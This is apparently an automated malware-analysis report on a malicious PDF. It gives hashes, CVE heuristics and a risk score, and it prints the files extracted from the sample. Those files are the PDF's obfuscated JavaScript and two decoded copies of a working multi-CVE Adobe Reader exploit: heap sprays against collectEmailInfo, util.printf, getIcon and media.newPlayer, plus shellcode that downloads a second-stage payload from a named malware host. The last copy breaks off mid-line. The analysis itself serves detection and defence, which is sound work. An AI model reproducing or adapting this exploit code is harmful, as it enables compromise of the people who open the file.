Malicious PDF — malware analysis report

Static analysis result for SHA-256 b386476d46f2fed2…

MALICIOUS

PDF

11.9 KB First seen: 2013-06-27
MD5: a8014db723d4deeb83b159ab6c044d79 SHA-1: 97de47b4bd94ea40770018136de12fce0c78d649 SHA-256: b386476d46f2fed261c75bf1ab3330fd70a99f78039aa62c79a6597a22f3c160
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it attempts to download a second-stage payload from the URL http://acdsgzlayus.com/w.php?f=3&e=5. This is a common technique for delivering further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://acdsgzlayus.com/w.php?f=3&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11122 bytes
SHA-256: 27d6857989d8b32c9ec336db145675969a4efd8659233fef3f398aa4cf5acd44
Preview script
First 1,000 lines of the extracted script
nk="";
nk+='sl';
nk+="i";
nk+="ce";
j='gerb43bt';
j=j[nk];
z
=
new
Array(21,19,4,67,30,65,46,37,66,34,72,10,0,40,29,29,72,10,17,33,9,38,72,10,0,1,17,33,72,10,3,1,9,38,72,10,9,43,40,38,72,10,40,40,1,17,72,10,29,38,33,63,72,10,38,63,0,30,72,10,0,30,40,63,72,10,63,33,38,63,72,10,3,63,0,30,72,10,1,29,39,33,72,10,3,29,0,30,72,10,40,40,63,0,72,10,29,29,55,30,72,10,1,9,0,30,72,10,63,40,40,33,72,10,40,40,3,38,72,10,0,39,73,33,72,10,39,1,9,9,72,10,17,17,39,63,72,10,30,0,17,17,72,10,38,63,0,30,72,10,33,40,40,63,72,10,40,43,38,29,72,10,3,1,63,29,72,10,0,3,17,30,72,10,73,38,40,38,72,10,9,38,0,1,72,10,1,39,3,1,72,10,9,30,9,43,72,10,1,39,38,33,72,10,0,30,1,29,72,10,40,33,3,1,72,10,3,38,0,30,72,10,3,0,40,1,72,10,17,1,63,40,72,10,0,30,1,29,72,10,73,63,3,29,72,10,17,1,63,40,72,10,33,43,40,40,72,10,38,39,38,43,72,10,19,55,17,33,72,10,33,1,63,40,72,10,55,30,40,40,72,10,30,9,63,17,72,10,40,0,39,63,72,10,3,38,17,73,72,10,33,39,63,0,72,10,63,55,33,30,72,10,55,19,63,40,72,10,9,30,38,63,72,10,40,30,17,39,72,10,3,1,39,17,72,10,1,9,9,29,72,10,1,9,0,30,72,10,63,40,73,38,72,10,29,29,55,55,72,10,63,33,0,30,72,10,0,55,38,30,72,10,9,33,38,29,72,10,1,38,17,17,72,10,63,33,73,38,72,10,55,0,0,30,72,10,55,55,63,40,72,10,63,38,0,30,72,10,63,40,0,30,72,10,19,30,33,1,72,10,1,43,1,9,72,10,9,30,33,40,72,10,19,55,1,40,72,10,29,0,0,30,72,10,0,63,73,63,72,10,63,33,3,55,72,10,3,38,40,40,72,10,43,29,63,40,72,10,17,40,9,30,72,10,29,0,0,30,72,10,0,30,63,0,72,10,29,19,17,3,72,10,1,43,63,1,72,10,43,0,9,0,72,10,17,17,17,17,72,10,9,73,17,17,72,10,9,0,17,43,72,10,63,63,63,63,72,10,63,63,63,63,72,10,1,63,1,0,72,10,38,63,29,19,72,10,17,17,29,0,72,10,63,63,63,63,72,10,1,63,63,63,72,10,33,63,0,40,72,10,1,63,39,43,72,10,0,30,1,1,72,10,0,30,9,33,72,10,39,63,1,9,72,10,33,40,0,40,72,10,17,17,63,1,72,10,29,0,9,40,72,10,29,9,29,17,72,10,63,63,63,63,72,10,3,1,29,0,72,10,29,33,3,73,72,10,1,38,29,55,72,10,39,29,17,17,72,10,33,38,0,40,72,10,0,30,63,0,72,10,9,0,9,0,72,10,17,17,29,39,72,10,17,17,17,17,72,10,63,73,9,30,72,10,3,73,9,30,72,10,9,33,0,39,72,10,63,39,63,38,72,10,63,63,63,63,72,10,1,33,0,55,72,10,63,33,73,38,72,10,63,38,33,3,72,10,3,73,73,38,72,10,29,3,29,1,72,10,33,3,3,40,72,10,73,38,38,38,72,10,3,29,63,38,72,10,40,40,3,73,72,10,33,3,40,73,72,10,73,38,38,38,72,10,73,63,63,0,72,10,3,40,73,55,72,10,1,40,73,63,72,10,17,0,29,0,72,10,63,63,63,63,72,10,17,17,63,63,72,10,63,33,1,29,72,10,9,0,0,30,72,10,33,43,40,40,72,10,33,3,1,39,72,10,39,55,38,38,72,10,3,3,63,63,72,10,29,73,3,63,72,10,33,3,3,38,72,10,39,55,38,38,72,10,73,9,63,1,72,10,29,33,29,38,72,10,33,29,29,33,72,10,39,55,38,38,72,10,63,63,63,43,72,10,0,19,1,43,72,10,63,38,33,39,72,10,0,0,40,63,72,10,39,55,38,38,72,10,38,39,63,38,72,10,29,19,1,39,72,10,29,19,63,63,72,10,1,40,63,63,72,10,29,19,1,3,72,10,17,17,63,63,72,10,39,38,1,29,72,10,33,63,0,1,72,10,39,29,3,1,72,10,63,63,29,19,72,10,17,17,1,40,72,10,63,38,1,29,72,10,63,63,29,19,72,10,9,30,0,40,72,10,1,40,63,33,72,10,1,29,17,17,72,10,0,40,63,38,72,10,63,33,33,40,72,10,63,73,9,30,72,10,39,40,9,30,72,10,0,63,38,3,72,10,63,63,40,17,72,10,17,19,3,1,72,10,0,63,38,3,72,10,63,63,40,17,72,10,33,38,3,1,72,10,63,63,29,19,72,10,17,9,29,19,72,10,1,29,17,17,72,10,9,0,63,0,72,10,17,9,43,33,72,10,17,17,17,17,72,10,38,9,0,9,72,10,9,33,63,9,72,10,17,9,43,0,72,10,63,9,0,19,72,10,29,17,0,43,72,10,30,55,63,39,72,10,33,19,40,40,72,10,1,30,0,19,72,10,33,29,39,30,72,10,3,43,38,29,72,10,39,19,40,29,72,10,3,63,73,17,72,10,3,38,29,0,72,10,3,63,3,38,72,10,73,17,40,19,72,10,29,39,73,17,72,10,29,38,29,40,72,10,29,3,3,40,72,10,29,33,3,19,72,10,3,43,29,39,72,10,3,40,3,1,72,10,29,40,73,9,72,10,29,55,29,17,72,10,3,3,73,17,72,10,3,63,73,9,72,10,3,63,29,0,72,10,29,29,40,17,72,10,40,40,40,55,72,10,29,1,73,29,72,10,40,1,40,55,72,10,63,63,63,63,34,74,17,10,2,33,45,23,26,2,67,9,60,21,4,8,4,19,16,56,49,18,14,28,58,23,7,9,8,4,19,61,7,9,2,37,45,58,52,73,70,56,49,18,14,4,19,69,66,4,19,74,15,4,19,66,4,19,61,46,10,30,46,45,4,23,2,37,8,63,16,56,49,25,73,18,74,4,9,45,10,4,2,67,4,19,74,15,67,17,10,2,33,45,23,26,2,67,30,31,8,18,14,21,19,4,67,55,27,37,66,2,9,28,67,41,4,4,19,49,8,18,74,21,19,4,67,21,28,66,63,31,63,33,63,33,63,33,63,33,74,21,19,4,67,19,55,55,4,66,63,31,38,63,63,63,63,63,74,21,19,4,67,44,19,49,7,26,19,55,66,10,2,9,46,33,19,44,9,8,30,65,46,37,18,74,21,19,4,67,46,33,42,7,9,2,66,44,19,49,7,26,19,55,61,7,9,2,37,45,58,52,73,74,21,19,4,67,56,49,66,19,55,55,4,47,8,46,33,42,7,9,2,69,63,31,40,0,18,74,21,19,4,67,49,19,4,46,44,66,10,2,9,46,33,19,44,9,8,22,72,10,43,63,43,63,72,10,43,63,43,63,22,18,74,49,19,4,46,44,66,9,60,21,4,8,49,19,4,46,44,16,56,49,18,74,21,19,4,67,33,26,10,2,45,73,66,8,21,28,47,63,31,38,63,63,63,63,63,18,25,19,55,55,4,74,17,26,4,8,21,19,4,67,33,26,10,2,45,66,63,74,33,26,10,2,45,70,33,26,10,2,45,73,74,33,26,10,2,45,69,69,18,14,55,27,37,24,33,26,10,2,45,64,66,49,19,4,46,44,69,44,19,49,7,26,19,55,74,15,67,21,19,4,67,26,21,9,4,17,7,26,28,66,10,2,9,46,33,19,44,9,8,22,72,10,63,33,63,33,72,10,63,33,63,33,22,18,74,28,58,23,7,9,8,26,21,9,4,17,7,26,28,61,7,9,2,37,45,58,70,38,38,43,1,73,18,14,26,21,9,4,17,7,26,28,69,66,26,21,9,4,17,7,26,28,74,15,67,45,58,23,46,61,33,26,7,7,19,30,13,45,26,4,9,66,59,26,7,7,19,30,61,33,26,7,7,9,33,45,68,36,19,23,7,75,2,17,26,8,14,46,10,30,65,71,22,22,16,36,46,37,71,26,21,9,4,17,7,26,28,15,18,74,15,67,17,10,2,33,45,23,26,2,67,44,4,23,2,45,17,8,18,14,2,26,44,66,10,2,9,46,33,19,44,9,8,22,72,10,63,41,63,41,72,10,63,41,63,41,72,10,63,41,63,41,72,10,63,41,63,41,22,18,74,21,19,4,67,44,19,49,7,26,19,55,66,10,2,9,46,33,19,44,9,8,30,65,46,37,18,74,58,9,19,44,30,7,26,33,27,66,2,26,44,69,44,19,49,7,26,19,55,74,30,23,37,30,7,26,33,27,66,10,2,9,46,33,19,44,9,8,22,72,10,63,41,63,41,72,10,63,41,63,41,22,18,74,58,9,19,55,9,4,46,23,60,9,66,73,63,74,46,44,4,19,49,66,58,9,19,55,9,4,46,23,60,9,69,58,9,19,44,30,7,26,33,27,61,7,9,2,37,45,58,74,28,58,23,7,9,8,30,23,37,30,7,26,33,27,61,7,9,2,37,45,58,70,46,44,4,19,49,18,14,30,23,37,30,7,26,33,27,69,66,30,23,37,30,7,26,33,27,74,15,67,17,23,7,7,30,7,26,33,27,66,30,23,37,30,7,26,33,27,61,46,10,30,46,45,4,23,2,37,8,63,16,46,44,4,19,49,18,74,30,7,26,33,27,66,30,23,37,30,7,26,33,27,61,46,10,30,46,45,4,23,2,37,8,63,16,30,23,37,30,7,26,33,27,61,7,9,2,37,45,58,47,46,44,4,19,49,18,74,28,58,23,7,9,8,30,7,26,33,27,61,7,9,2,37,45,58,69,46,44,4,19,49,70,63,31,38,63,63,63,63,18,14,30,7,26,33,27,66,30,7,26,33,27,69,30,7,26,33,27,69,17,23,7,7,30,7,26,33,27,74,15,67,36,9,36,66,2,9,28,67,41,4,4,19,49,8,18,74,17,26,4,8,23,66,63,74,23,70,39,38,63,63,74,23,69,69,18,14,36,9,36,24,23,64,66,30,7,26,33,27,69,58,9,19,44,30,7,26,33,27,74,15,67,21,19,4,67,2,10,36,66,39,73,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,74,10,45,23,7,61,44,4,23,2,45,17,8,22,72,38,1,63,63,63,17,22,16,2,10,36,18,74,15,67,17,10,2,33,45,23,26,2,67,37,9,45,23,33,26,2,8,18,14,21,19,4,67,19,4,4,49,66,2,9,28,67,41,4,4,19,49,8,18,74,23,17,8,19,44,44,61,55,26,33,61,59,26,7,7,19,30,61,37,9,45,75,33,26,2,18,14,21,19,4,67,44,19,49,7,26,19,55,66,10,2,9,46,33,19,44,9,8,30,65,46,37,18,74,21,19,4,67,58,12,56,1,63,63,59,48,66,44,19,49,7,26,19,55,61,7,9,2,37,45,58,52,73,74,21,19,4,67,56,49,66,63,31,38,63,63,63,63,63,47,8,58,12,56,1,63,63,59,48,69,63,31,40,0,18,74,21,19,4,67,49,19,4,46,44,66,10,2,9,46,33,19,44,9,8,22,72,10,43,63,43,63,72,10,43,63,43,63,22,18,74,49,19,4,46,44,66,9,60,21,4,8,49,19,4,46,44,16,56,49,18,74,21,19,4,67,44,1,41,65,6,29,1,17,66,8,63,31,63,33,63,33,63,33,63,33,47,63,31,38,63,63,63,63,63,18,25,63,31,38,63,63,63,63,63,74,17,26,4,8,21,19,4,67,21,56,33,11,20,43,29,49,66,63,74,21,56,33,11,20,43,29,49,70,44,1,41,65,6,29,1,17,74,21,56,33,11,20,43,29,49,69,69,18,14,19,4,4,49,24,21,56,33,11,20,43,29,49,64,66,49,19,4,46,44,69,44,19,49,7,26,19,55,74,15,67,21,19,4,67,45,5,57,58,48,30,32,28,66,10,2,9,46,33,19,44,9,8,22,72,63,43,22,18,74,28,58,23,7,9,8,45,5,57,58,48,30,32,28,61,7,9,2,37,45,58,70,63,31,38,63,63,63,18,14,45,5,57,58,48,30,32,28,69,66,45,5,57,58,48,30,32,28,74,15,67,45,5,57,58,48,30,32,28,66,22,48,61,22,69,45,5,57,58,48,30,32,28,74,19,44,44,61,55,26,33,61,59,26,7,7,19,30,61,37,9,45,75,33,26,2,8,45,5,57,58,48,30,32,28,18,74,15,15,67,19,35,7,10,37,23,2,46,66,19,44,44,61,44,7,10,37,75,2,46,74,21,19,4,67,46,21,66,44,19,4,46,9,75,2,45,8,19,44,44,61,21,23,9,28,9,4,51,9,4,46,23,26,2,61,45,26,13,45,4,23,2,37,8,18,61,33,58,19,4,41,45,8,63,18,18,74,17,26,4,8,21,19,4,67,23,66,63,74,23,70,19,35,7,10,37,23,2,46,61,7,9,2,37,45,58,74,23,69,69,18,14,23,17,8,19,35,7,10,37,23,2,46,24,23,64,61,2,19,36,9,66,66,34,68,13,33,4,23,44,45,34,18,14,21,19,4,67,7,21,66,19,35,7,10,37,23,2,46,24,23,64,61,21,9,4,46,23,26,2,74,15,15,67,23,17,8,8,7,21,66,66,43,18,53,53,8,8,46,21,66,66,0,18,54,54,8,7,21,70,66,0,61,39,73,18,18,18,14,37,9,45,23,33,26,2,8,18,74,15,9,7,46,9,67,23,17,8,7,21,66,66,3,61,39,18,14,44,4,23,2,45,17,8,18,74,15,9,7,46,9,67,23,17,8,8,8,46,21,66,66,29,18,53,53,8,46,21,66,66,3,18,18,54,54,8,7,21,70,3,61,39,39,18,18,14,30,31,8,18,74,15,9,7,46,9,67,23,17,8,8,7,21,62,66,43,61,39,18,53,53,8,7,21,70,66,43,61,73,18,53,53,8,7,21,62,66,0,61,39,40,18,53,53,8,7,21,70,66,0,61,39,3,18,18,14,17,10,2,33,45,23,26,2,67,19,8,18,14,10,45,23,7,61,44,4,23,2,45,55,8,34,44,50,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,39,67,71,67,49,49,49,49,39,39,39,34,16,2,9,28,67,20,19,45,9,8,18,18,74,15,21,19,4,67,58,66,19,44,44,61,44,7,10,37,75,2,46,74,17,26,4,8,21,19,4,67,17,66,63,74,17,70,58,61,7,9,2,37,45,58,74,17,69,69,18,14,23,17,8,58,24,17,64,61,2,19,36,9,66,66,34,68,13,33,4,23,44,45,34,18,14,21,19,4,67,23,66,58,24,17,64,61,21,9,4,46,23,26,2,74,15,15,67,23,17,8,8,23,62,0,61,39,73,18,54,54,8,23,70,0,61,73,18,18,14,33,66,2,9,28,67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a="85n7rUKl(euQWS{},f)aDv'i[/okw6bxGc'Pmg413A_9pts-Ny@V*|&dqMhCz.>0]j= E+<:%2;I";
b="a"+'l';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{
n=i;
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[n]];
}
}}

try{if(/x(?=y)/.test('axyb'))throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3852 bytes
SHA-256: 0c517a961c9fe0c171bece63b9f2d266385d816caca4c579195ebb6daaf65553
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6463%u6773%u6c7a%u7961%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u333d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3848 bytes
SHA-256: 9ca9fe3a66c2352254df8728615b5fce784d5e0f089c4265ac702d2d47dd693b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6463%u6773%u6c7a%u7961%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u333d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var 